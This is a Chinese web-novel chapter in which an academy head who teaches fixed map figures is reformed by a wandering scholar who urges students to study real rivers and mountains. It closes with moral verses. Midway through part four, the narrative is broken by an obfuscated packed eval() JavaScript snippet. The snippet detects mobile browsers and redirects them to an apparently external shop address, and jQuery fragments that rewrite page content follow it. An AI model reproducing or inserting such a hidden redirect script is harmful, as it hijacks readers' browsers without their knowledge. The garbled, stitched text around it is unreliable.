楔子·书院谬授


    云梦镇有座“经纬书院”，乃镇上富绅筹资所建，专授地理、天文、算学诸科。山长姓“经”，名“纬世”，五十有余，执教书院二十载，在云梦镇颇有声望。


    这日，经纬世正在讲堂授课，讲的是“中华山河”。堂下坐着三十余学子，皆是镇中俊秀。


    经纬世手持教鞭，点着壁上舆图：“我中华之地，在赤道之东北。赤道下，温暖极；我中华，寒燠均，霜露改。右高原，左大海。此乃天地造化之奇也！”


    学子们纷纷点头，埋头记录。


    “再看江河淮济，此为四渎，水之纪也。岱华嵩恒衡，此为五岳，山之名也。”经纬世教鞭移向舆图上几条粗线、几座山峰，“四渎五岳，乃我中华血脉筋骨，尔等须牢记！”


    学子中有一人举手：“山长，学生有一问。”


    “讲。”


    “学生曾随家父行商，南至南海，北至漠北，见江河之壮、山岳之雄，皆与图上所绘有异。譬如江河，舆图上只一粗线，实则江有九曲，河有百转；譬如五岳，舆图上只一点，实则山有千峰，谷有万壑。此图……是否太过简略？”


    经纬世面色一沉：“此乃《一统舆图》，乃朝廷钦定，岂能有误！江河淮济，便是四条大水；岱华嵩恒衡，便是五座大山。你小小年纪，懂得什么！”


    那学子名唤“陆明”，年方十六，家中行商，自幼随父走南闯北，见过真山真水。他欲再言，却被身旁同窗拉住。


    经纬世继续道：“陆明，你既见过山河，那我问你：江河淮济，哪条最长？”


    “回山长，江最长。”


    “多长？”


    “这……学生不知。”


    “不知便莫要妄言！”经纬世冷哼，“江长六千三百里，河长五千四百里，淮长一千里，济长千余里。此乃定数，记下！”


    陆明张嘴欲辩——江河长度，岂是定数？汛期与旱期不同，改道与淤塞有异，如何能是定数？但见山长面色不豫，只得噤声。


    “再问：五岳之中，何者最高？”


    “回山长，西岳华山最高。”


    “多高？”


    “这……学生不知。”


    “不知便莫要妄语！”经纬世不悦，“华山高两千一百丈，泰山高一千五百丈，衡山高一千二百丈，恒山高两千丈，嵩山高一千五百丈。此乃定数，记下！”


    陆明心中叫苦——山高丈量，本就难准，且山有峰峦，高低不同，如何能是定数？但他不敢再言。


    这时，讲堂窗外传来一声叹息。


    众人望去，见窗外立着一人。来人戴着一顶用芦杆编的斗笠，斗笠边缘缀着几片风干的荷叶。身上是件洗得发白的苎麻长衫，腰间用草绳系一柄木剑，剑身光滑，隐现木纹。脸上蒙着一方粗葛布，布色灰白，沾着尘土。


    “这位是？”经纬世皱眉。


    “过路之人，闻讲山河，驻足一听。”那人声音平和，“不料听了一耳谬误，故有叹息。”


    经纬世大怒：“你是何人，敢说我谬误！”


    “非敢说山长谬误，只说道理。”那人缓步走进讲堂，对众学子拱手，“列位学子，山河地理，乃实地实景，非纸上谈兵。舆图所示，不过大概。江河有曲直，山岳有高低，四时不同，古今有异，岂能一概而论？”


    陆明眼睛一亮，众学子也窃窃私语。


    经纬世面色铁青：“此乃书院讲堂，岂容你放肆！来人，请此人出去！”


    两名院工上前，那人却不慌不忙，从怀中取出一卷泛黄的古图，展开挂于壁上。那图绘得极细，江河蜿蜒，山岳连绵，与书院舆图大不相同。


    “此乃《禹迹山河图》，为古人实地踏勘所绘。”那人指着图道，“列位请看，江河有九曲十八弯，舆图上一线，岂能尽显？山岳有千峰万壑，舆图上一点，岂能尽详？更遑论江河长度、山岳高低，四时有变，古今有异，岂有定数？”


    众学子围拢观看，只见图上江河如龙蛇盘曲，山岳如星罗棋布，果然与书院舆图大异。


    经纬世气得发抖：“此……此乃野图，不足为凭！”


    “是野图，还是实图？”那人转身，直视经纬世，“山长可曾亲临江河，测其曲直？可曾亲登五岳，量其高低？可曾踏勘四渎，观其水文？可曾遍历中华，察其寒燠？”


    “我……我熟读典籍……”


    “典籍所载，亦是前人所见。江河改道，山岳风化，沧海桑田，古今有异。若只读死书，不察实地，岂非坐井观天，纸上谈兵？”


    经纬世语塞，面红耳赤。


    那人又对众学子道：“赤道下，温暖极。我中华，在东北。此乃大概方位，不错。然中华之大，南北东西，寒燠各异，岂能一概‘寒燠均’？漠北苦寒，岭南炎熱，东海温润，西域干燥，此乃实地实情，舆图上一句‘寒燠均’，岂能尽括？”


    他指着书院舆图：“右高原，左大海。不错，中华之西多山，之东临海。然高原之上有河谷，大海之滨有丘陵，地形多变，岂是‘高原、大海’四字可概？”


    “曰江河，曰淮济。此四渎，水之纪。不错，江、河、淮、济，确为四渎。然中华之水，何止四渎？珠江、辽河、松花江、澜沧江……皆是巨川，何以不纪？且江河淮济，古今有变，淮水已夺济水，济水几近湮没，舆图仍绘四条大水，岂非刻舟求剑？”


    “曰岱华，嵩恒衡。此五岳，山之名。不错，泰山、华山、嵩山、恒山、衡山，确为五岳。然中华之山，何止五岳？峨眉、黄山、庐山、雁荡……皆是名山，何以不名？且山岳高低，本无定数，舆图标注两千一百丈、一千五百丈，岂非妄言？”


    他一口气说完，讲堂内鸦雀无声。


    经纬世冷汗涔涔，跌坐椅中。


    陆明激动起身，深揖一礼：“先生高见！学生随父行商，所见山河，确如先生所言！江河九曲，舆图一线，实难尽显！山岳千峰，舆图一点，实难尽详！更遑论长度高低，四时有异，古今有变，岂有定数！”


    众学子也纷纷道：“先生说得是！”“咱们只知死记，从未想过这些！”


    那人收起古图，对经纬世道：“山长，教书育人，贵在求真。山河地理，乃实地实景，当教学子识其变、察其异，而非死记硬背、盲从舆图。若只教定数，不教变通，只教大概，不教细节，学子出而用世，见真山真水，岂不茫然？”


    经纬世面色灰败，良久，长叹一声：“先生……教训得是。纬世教书二十载，只知照本宣科，从未想过这些……误人子弟，误人子弟啊！”


    他起身，对众学子深揖：“从今日起，地理一科，我当重授。舆图只作参考，当教诸位识山河之变、察地理之异！”


    又对那人道：“还未请教先生高姓大名？”


    “我姓地，名理，字察之。”


    “地理察之……”经纬世喃喃，忽问，“先生这《禹迹山河图》，可否借我一观？”


    “可。”地理察之递过图卷，“此图可传抄，然需切记：山河在变，舆图亦当常新。莫要奉古图为圭臬，当以实地为真。”


    经纬世双手接过，如获至宝。


    地理察之又对众学子道：“尔等求学，当知山河在野，不在纸上。他日若有机缘，当亲临江河，亲登山岳，以目观之，以足量之，以心察之。如此，方知山河真貌。”


    众学子齐声道：“谨记先生教诲！”


    地理察之拱手告辞。经纬世急追出讲堂：“先生留步！这地理一科，该如何重授，还请先生指点！”


    地理察之回头，斗笠下的葛布微微扬起：“教山河，当教其变。江河有曲直，教其曲直之由；山岳有高低，教其高低之故；寒燠有异，教其异同之理。舆图是死，山河是活，教死不如教活。”


    说罢，他转身离去，芦杆斗笠在讲堂外的阳光下，泛着淡淡的金色。


    一、 经纬世的悔悟


    地理察之走后，经纬世在讲堂中呆立良久。他展开那卷《禹迹山河图》，细细观看，越看越心惊。


    图上江河，蜿蜒如龙，分明是实地踏勘所绘，与书院那幅简略的《一统舆图》天差地别。山岳峰峦，层叠如浪，哪里是舆图上几个点可表？


    “我误人子弟二十载啊！”


    他想起自己当年求学，也是这般照本宣科，死记硬背。老师教“江河长六千三百里”，他便记“江河长六千三百里”；老师教“华山高两千一百丈”，他便记“华山高两千一百丈”。从未想过江河有曲直，长度难量；山岳有峰峦，高低难测。更未想过，山河在变，古今有异。


    教书二十载，他也这般教学生。舆图是死的，数字是定的，山河是纸上的。学生问起，他便以“朝廷钦定”、“典籍所载”搪塞。若有质疑，便斥为“妄言”。


    “陆明那孩子，随父行商，见过真山真水，所言才是实情。我却斥他妄言，岂非闭目塞听？”


    他羞愧难当，当即将《一统舆图》从壁上取下，卷起收起。又命院工取来白纸，将《禹迹山河图》悬于壁上。


    次日地理课，经纬世对众学子深揖一礼。


    “昨日地理察之先生所言，如醍醐灌顶。我教书二十载，只知照本宣科，死记硬背，误人匪浅。从今日起，地理一科，当重授。”


    他指着《禹迹山河图》：“此图为古人实地踏勘所绘，虽古，却近实。然山河在变，古今有异，此图只可参考，不可奉为圭臬。从今往后，我当教诸位识山河之变、察地理之异。”


    他不再教“江河长六千三百里”，而是教江河发源于何，流经何处，何处曲折，何处平直，何处湍急，何处缓流。


    他不再教“华山高两千一百丈”，而是教华山有几峰，各峰何状，何处险峻，何处秀丽，山石何质，草木何类。


    他教寒燠之别：漠北何以苦寒，岭南何以炎熱，东海何以温润，西域何以干燥。


    他教地形之异：高原之上有河谷，大海之滨有丘陵，平原有洼地，山地有盆地。


    他教四渎之变：淮水夺济，济水湮没，江河改道，水系变迁。


    他教五岳之名：泰山之雄，华山之险，嵩山之峻，恒山之幽，衡山之秀。亦教他山：峨眉之秀，黄山之奇，庐山之峻，雁荡之丽。


    学子们听得津津有味。陆明更是积极，常以行商所见补充，师生相得，讲堂生辉。


    经纬世又在书院中立了一块木牌，上书：“山河在野，不在纸上。教地理者，当教其变；学地理者，当察其异。死记硬背，不如亲临一观。”


    二、 学子的醒悟


    经纬世重授地理，学子们受益匪浅。


    从前，他们学地理，只知死记硬背：“江河长六千三百里”，“华山高两千一百丈”，“中华寒燠均”，“右高原左大海”。至于江河为何那么长，华山为何那么高，中华寒燠为何均，高原大海是何状，一概不知。


    如今，他们明白了：江河长度，本就难量，且四时有变，古今有异；山岳高低，本就难测，且峰峦不同，角度有差；中华之大，寒燠各异，岂能一概“均”？高原大海，地形多变，岂是四字可括？


    “原来地理要这么学！”


    “怪不得我爹常说‘读万卷书，不如行万里路’，山河在野，得亲眼见！”


    “往后我若有机会，定要亲临江河，亲登山岳！”


    陆明更是将行商所见，细细说与同窗。他说江河九曲，舟行其中，如在龙腹；说山岳千峰，登临其上，如在天宫；说漠北风沙，刮面如刀；说岭南瘴气，蒸人如笼；说东海波涛，接天连地；说西域戈壁，茫茫无际。


    同窗们听得如痴如醉，对真山真水心生向往。


    “陆兄，下次行商，带我去可好？”


    “我也想去！看看真江河，真山岳！”


    “咱们约好，将来一起游历中华，亲临四渎五岳！”


    经纬世见学子们如此，心中欣慰。他不再拘泥讲堂，常带学子们出书院，观云梦镇周边地形。


    “看，那是云梦泽，古时大泽，今已淤塞成田。此乃沧海桑田之变。”


    “看，那是卧牛山，山不高，却有七峰，峰峰不同。此乃山岳多变之状。”


    “看，镇南温暖，镇北寒凉，一镇之中，寒燠有异。此乃地理之微。”


    学子们实地观察，获益良多。有那聪慧的，还绘了云梦镇舆图，标注山川河流、寒燠差异，比书院那幅《一统舆图》细致得多。


    经纬世将学子所绘之图悬于讲堂，赞道：“此图虽只一镇，却是实地踏勘，胜那《一统舆图》多矣！”


    三、 舆图的故事


    经纬世重授地理之事，渐渐传开。附近书院的山长、夫子，闻讯前来观摩。


    见经纬世不教死图，而教活地理；不授定数，而授变通；不拘讲堂，而带学子实地观察，皆啧啧称奇。


    “经山长，你这教法新奇！”


    “原来地理要这么教！”


    “我那书院，还在教‘江河长六千三百里’，惭愧惭愧！”


    经纬世便拿出《禹迹山河图》，又展示学子所绘云梦镇图，道：“舆图是死，山河是活。教地理，当教其活。江河有曲直，教其曲直之由；山岳有高低，教其高低之故；寒燠有异，教其异同之理。若只教死图死数，学子出而用世，见真山真水，岂不茫然？”


    众山长夫子深以为然，回去后纷纷改革教法。有那条件好的，也带学子实地观察；条件差的，至少不再教死数，而教变通。


    《禹迹山河图》也被广为传抄。抄图者发现，此图虽古，却标注详实，且在图侧有小字注解：“江河有变，山岳有移，此图只录当时之貌，后之观者，当察今昔之异。”


    “原来古人绘图，也知山河在变！”


    “是啊，咱们却奉死图为圭臬，岂不可笑？”


    “往后教地理，得教变，不能教死！”


    地理察之的名声，渐渐在教书先生中传开。都说有位戴芦杆斗笠、蒙葛布的高人，精通地理，点破迷障，使人明“山河在野”之理，知“教活地理”之要。


    四、 三年后的讲堂


    三年后的一个秋日，经纬书院讲堂中坐满了人。不仅有本院学子，还有附近书院的师生，甚至有些镇民也来听讲。


    经纬世正在讲授“江河之变”。


    “……故曰：江河淮济，此四渎，水之纪。然江河有九曲，淮济有变迁。今之淮水，已夺济水故道；古之济水，几近湮没。此乃水势自然，非人力可阻。教地理者，当教其变；学地理者，当察其异……”


    他讲得生动，引经据典，又辅以《禹迹山河图》与学子所绘诸图，众人听得入神。


    讲毕，有学子问：“山长，那五岳高低，究竟几何？”


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17152815|195403||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    经纬世笑道：“五岳高低，本无定数。测者不同，量法有异，时节有别，高低自殊。华山有二千一百丈之说，亦有二千丈之说，还有一千九百丈之说。何者为真？皆真，皆不真。山在那里，巍然耸立，高低不过数字，何必执着？”


    又有人问：“那中华寒燠，可均否？”


    “中华之大，南北东西，寒燠各异。”经纬世指着舆图，“漠北苦寒，岭南炎熱，东海温润，西域干燥。‘寒燠均’三字，不过大概。真要知寒燠，当亲临其地，以体感之，以目观之，非舆图可表。”


    众人纷纷点头。


    这时，讲堂外传来一声：“说得好。”


    众人望去，见门外立着一人。还是芦杆斗笠，苎麻长衫，腰间木剑，脸上蒙着葛布。秋阳透过树叶，在他身上洒下斑驳光影。


    “地理先生！”经纬世惊喜，忙迎出。


    地理察之微微点头，走进讲堂，看着壁上悬着的《禹迹山河图》与学子所绘诸图，道：“三年不见，书院气象一新。”


    经纬世深揖：“全赖先生点拨！纬世如今教地理，再不教死图死数，而教山河之变、地理之异。学子们亦常实地观察，获益良多！”


    地理察之看向众学子：“尔等可曾亲临江河，亲登山岳？”


    陆明起身，激动道：“回先生！学生随父行商，三年来走遍江南塞北，亲见江河之壮、山岳之雄！江河确有九曲，舆图一线，实难尽显！山岳确有千峰，舆图一点，实难尽详！寒燠确有异，地形确有变，舆图一句‘寒燠均’、‘右高原左大海’，实难尽括！”


    “好。”地理察之点头，“山河在野，不在纸上。亲临一见，胜读万卷。”


    他又问：“尔等可知，为何要学地理？”


    众学子答：“为知中华山河！”“为明天下大势！”“为将来用世！”


    地理察之摇头：“知山河，非为知而知；明大势，非为明而明。学地理，是为知这方水土，养这方人。知江河，方知水利；知山岳，方知矿藏；知寒燠，方知农时；知地形，方知城建。知而后用，用而利民，方是地理之本。”


    众学子肃然。


    经纬世深有感触：“先生所言极是！从前我只教死图死数，学子学而不知用。如今教山河之变、地理之异，学子们方知地理之用。”


    地理察之从怀中取出一卷书，递给经纬世：“此乃《山河志异》，是我游历四方，记录各地山川地貌、气候物产、风俗民情所编。你可传抄于众，供学子参考。”


    经纬世双手接过，如获至宝。


    地理察之又对众学子道：“此书可参阅，但需切记：山河在变，民情在移。此书所录，只一时一地之貌。他日尔等若亲临其地，当以目观之，以耳闻之，以心察之，莫要拘泥书本。”


    众学子齐声道：“谨记先生教诲！”


    地理察之拱手告辞。经纬世急问：“先生此番何往？”


    “四方游历，看人教地理、学地理。”地理察之道，“看人是教死图死数，还是教山河之变；是学纸上谈兵，还是学实地察勘。”


    “先生还会回来么？”


    “等你们又教死图死数、学纸上谈兵的时候，我大概就会回来。”


    他走了，芦杆斗笠在秋阳下，泛着温暖的光。苎麻长衫的下摆，扫过讲堂门槛，带起几片落叶。


    经纬世对着那背影深深一揖，久久不起。


    众学子、众师生、众镇民，也纷纷作揖。


    尾声山河谣


    多年后，云梦镇的孩童玩耍时，会唱一首童谣：


    赤道下，温暖极，我中华，在东北。


    寒燠异，地形变，右高原，左大海。


    江河弯，淮济迁，四渎水，古今变。


    岱华雄，嵩恒峻，五岳外，多名山。


    地理先生来点化，死图死数误人多。


    教地理，要教活，山河在野要亲观。


    学子实地察山水，方知舆图是大概。


    从此书院气象新，教活地理利万民。


    有外乡人听了，问镇里老人：“这地理先生是何人？”


    老人便会指着经纬书院说：“是位教人识山河、察地理的先生。他来了，经山长知错了，不教死图了，学子们实地察勘了，咱们镇的孩子都知道山河在野不在纸上了。”


    “他现在何处？”


    “不知道。教完道理，他就走了。”


    “还会回来么？”


    “等咱们又只教死图死数、不察实地的时候，他大概就会回来吧。”


    外乡人若有所思，走进经纬书院。讲堂壁上，悬着《禹迹山河图》与学子所绘的十几幅舆图，有江河图，有山岳图，有云梦镇图，有寒燠分布图……图图精细，标注详实。


    也许那位地理先生，正在某个地方，看人绘舆图、察山河吧。他想。


    他走出书院，秋高气爽。远处卧牛山七峰连绵，近处云梦泽田畴阡陌。山河在野，果然在野。


    本章诫世


    一、 山河真义训


    - 赤道下，温暖极。我中华，在东北


    - 寒燠均，霜露改。右高原，左大海


    - 曰江河，曰淮济。此四渎，水之纪


    - 曰岱华，嵩恒衡。此五岳，山之名


    - 破解法：为师者，自问“可教死图死数？可知山河在变？可曾实地察勘？”；为学者，自问“可死记硬背？可知舆图是概？可愿亲临山河？”


    二、 三谬三正


    - 经纬世之谬在“教死”——只教死图死数，不教山河之变


    - 舆图之谬在“过简”——一线表江河，一点表山岳，四字括寒燠地形


    - 学子之谬在“盲从”——死记硬背，不察实地，不辨真伪


    - 三正：经纬世教活地理，学子实地察勘，书院气象一新


    三、 察之大道


    - 深层隐喻：山河在地，不在纸上。舆图所示，不过大概。江河有曲直，山岳有高低，寒燠有异，地形有变，古今有异。教地理者，当教其变；学地理者，当察其异。死记硬背，不如亲临一见；纸上谈兵，不如实地察勘


    - 终极指向：求学之道，贵在求真。地理要求真，历史要求真，诸科皆要求真。真在实地，不在纸上；真在变通，不在死记；真在活用，不在硬背。求真而后用，用而利民，方是学问之本


    山河偈：


    云梦镇里经纬院，山长教死误人多。


    死图死数纸上兵，学子盲从不察实。


    地理先生来点化，山河在野要亲观。


    教地理，要教活，江河山岳古今变。


    从此书院气象新，实地察勘求真知。


    后世叹：


    赤道下，温暖极，我中华，在东北。


    寒燠异，地形变，江河弯，山岳连。


    书院死教舆图简，学子死记误己深。


    地理先生来点化，山河在野要亲观。


    三载教活气象新，实地求真利万民。


    正是：


    云梦镇中有书院，山长教死地理科。


    死图死数纸上兵，学子盲从不知变。


    地理先生来点化，山河在野要亲观。


    教活地理授变通，实地察勘求真知。


    从此书院气象新，学子明理利万民。